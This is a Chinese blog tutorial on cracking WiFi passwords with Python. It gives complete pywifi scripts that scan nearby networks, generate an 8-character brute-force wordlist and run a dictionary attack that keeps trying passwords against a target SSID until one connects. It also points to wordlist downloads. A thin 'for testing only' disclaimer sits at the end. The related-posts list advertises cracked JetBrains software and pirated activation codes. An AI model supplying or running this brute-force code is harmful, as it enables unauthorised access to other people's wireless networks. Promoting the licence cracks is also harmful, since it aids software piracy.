Python简易WiFi密码破解轻松方案

Python简易WiFi密码破解简易方案

前言

基于对无线网络相关技术的探索,我们可以通过Python来实现简易的WiFi密码破解操作。

实验步骤

利用命令行安装pywifi模块

在命令行中执行以下命令安装pywifi模块:

pip install pywifi

查看pip是否安装成功,执行:

pip -V

一、扫描WiFi模块

通过Python代码来实现WiFi扫描功能,代码如下:

import pywifi
import time

# 初始化pywifi
wifi = pywifi.PyWiFi()

# 获取第一个无线网卡接口
interface = wifi.interfaces()[0]

# 开始扫描
interface.scan()
print('正在扫描WiFi,请稍等………………')

# 等待扫描完成
time.sleep(10)  # 可根据实际情况调整等待时间以确保扫描完成

# 获取扫描结果
scan_results = interface.scan_results()

# 打印扫描结果
print('扫描完成!\n' + '*' * 50)
print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称'))

index = 0
for result in scan_results:
    # 处理SSID乱码问题
    ssid = result.ssid.encode('raw_unicode_escape').decode('utf-8')
    signal = result.signal
    print('%s\t\t\t%s\t\t\t%s' % (index, signal, ssid))
    index += 1

print('\n' + '*' * 50)

二、爆破字典

1. 生成字典

自己生成密码字典不建议(大约有100G左右,生成时间较长),以下是生成字典的脚本示例:

import itertools as its
import datetime

# 记录程序运行时间
start = datetime.datetime.now()
words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'  # 包含大小写字母和数字的组合
# words = '0123456789' # 纯数字组合
# 生成密码的位数
r = its.product(words, repeat=8)  # 这里生成8位密码,通常热点密码为8位
dic = open(r"C:\Users\11759\Desktop\alphabetPass.txt", 'a')  # alphabetPass.txt为密码本名称
for i in r:
    dic.write(''.join(i))
    dic.write(''.join('\n'))
    print(i)

dic.close()
print('密码本生成完毕')
end = datetime.datetime.now()
print("生成密码本总共花费时间:{}".format(end - start))
2. 下载字典

可通过以下途径下载字典:
- 迅雷下载
- Gitee下载

三、爆破脚本

以下是爆破脚本,其中已对需要修改的部分进行注释:

# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime

# 全局初始化,避免重复创建实例
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] if wifi.interfaces() else None


def wifi_connect(pwd):
    if not iface:
        print("未找到无线网卡!")
        return False

    # 断开当前连接
    iface.disconnect()
    time.sleep(1)

    # 确保网卡处于断开状态
    if iface.status() != const.IFACE_DISCONNECTED:
        print("无法断开当前连接")
        return False

    # 创建新的配置文件
    profile = pywifi.Profile()
    profile.ssid = "iPhone1"  # 请修改为你的WiFi名称
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = pwd.strip()  # 去除密码前后的空格和换行符

    # 清理旧配置
    iface.remove_all_network_profiles()

    try:
        # 添加新配置并尝试连接
        tmp_profile = iface.add_network_profile(profile)
        iface.connect(tmp_profile)

        # 增加连接等待时间(可根据网络响应调整)
        time.sleep(5)

        return iface.status() == const.IFACE_CONNECTED
    except Exception as e:
        print(f"连接时发生异常: {e}")
        return False


def read_password():
    print("开始破解...")
    path = r"C:\Users\Administrator\Desktop\py项目\WiFi爆破\wpa-dictionary-master\common.txt"  # 请修改为你字典所在位置

    try:
        with open(path, "r") as f:
            passwords = [line.strip() for line in f.readlines() if line.strip()]
    except Exception as e:
        print(f"无法读取密码文件: {e}")
        return

    total = len(passwords)
    start_time = datetime.datetime.now()

    for idx, pwd in enumerate(passwords, 1):
        print(f"尝试进度: {idx}/{total} | 当前密码: {pwd}")

        # 增加重试机制
        retry = 0
        while retry < 2:  # 最多重试2次
            if wifi_connect(pwd):
                print(f"\n破解成功!密码为: {pwd}")
                print(f"总耗时: {datetime.datetime.now() - start_time}")
                return
            else:
                retry += 1
                time.sleep(2)  # 失败后等待2秒再重试

    print("\n密码字典无匹配项!")

if __name__ == "__main__":
    read_password()

完整代码及字典可通过以下链接下载:
- 迅雷下载

文章整理自互联网,只做测试使用。发布者:Lomu,转转请注明出处:https://www.it1024doc.com/13605.html

(0)
LomuLomu
上一篇 2025 年 9 月 18 日
下一篇 2025 年 9 月 18 日

相关推荐

  • 最新datagrip激活码安装演示与破解讲解

    申明:本教程 DataGrip 破解补丁、激活码均收集于网络,请勿商用,仅供个人学习使用,如有侵权,请联系作者删除。若条件允许,希望大家购买正版 ! 废话不多说,先上 DataGrip 2025.2.1 版本破解成功的截图,如下图,可以看到已经成功破解到 2099 年辣,舒服的很! 接下来就给大家通过图文的方式分享一下如何破解最新的DataGrip 。 如果…

    DataGrip激活码 2026 年 3 月 26 日
    13400
  • PyCharm 专业版 2026.1 激活码获取,附完整教程

    声明:本教程所涉及的PyCharm破解补丁与激活码均来源于网络收集,严禁用于商业用途,仅限个人学习研究使用。若存在侵权问题,请联系本人删除。经济条件允许的话,强烈建议支持正版!话不多说,先展示PyCharm 2025.2.1版本破解成功的截图,如下所示,可以看到已成功激活至2099年,非常给力! 若觉得破解过程过于繁琐,可选择购买官方正版账号,支持全家桶产品…

    PyCharm激活码 2026 年 4 月 12 日
    39600
  • 2025年最新PyCharm激活码及永久破解教程(支持2099年)

    前言 本教程适用于JetBrains全家桶,包括PyCharm、IDEA、DataGrip、Golang等开发工具!先看最新PyCharm版本成功破解到2099年的效果图,让你放心使用!效果图展示 接下来将详细讲解如何永久激活PyCharm至2099年。这个方法同样适用于旧版本,无论你使用:- Windows/Mac/Linux系统- 任何PyCharm版本…

    PyCharm激活码 2025 年 7 月 8 日
    72600
  • GoLand破解之后还能更新吗?是否影响补丁?

    申明:本教程GoLand 破解补丁、激活码均收集于网络,请勿商用,仅供个人学习使用,如有侵权,请联系作者删除。若条件允许,希望大家购买正版 ! 废话不多说,先上 GoLand2025.2.1 版本破解成功的截图,如下图,可以看到已经成功破解到 2099 年辣,舒服的很! 接下来就给大家通过图文的方式分享一下如何破解最新的GoLand。 准备工作 注意:如果你…

    2025 年 10 月 1 日
    28900
  • DataGrip激活教程支持最新2025版本!

    本教程适用于 IntelliJ IDEA、PyCharm、DataGrip、GoLand 等 JetBrains 全家桶,亲测 2024.3.5 及旧版本均可使用。 先放张成果图:成功把 DataGrip 激活到 2099 年,爽歪歪! 下面用图文一步步演示如何一键激活 DataGrip 到 2099 年,方法同样适用于旧版本,Windows / macOS…

    DataGrip激活码 2025 年 9 月 19 日
    27200

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信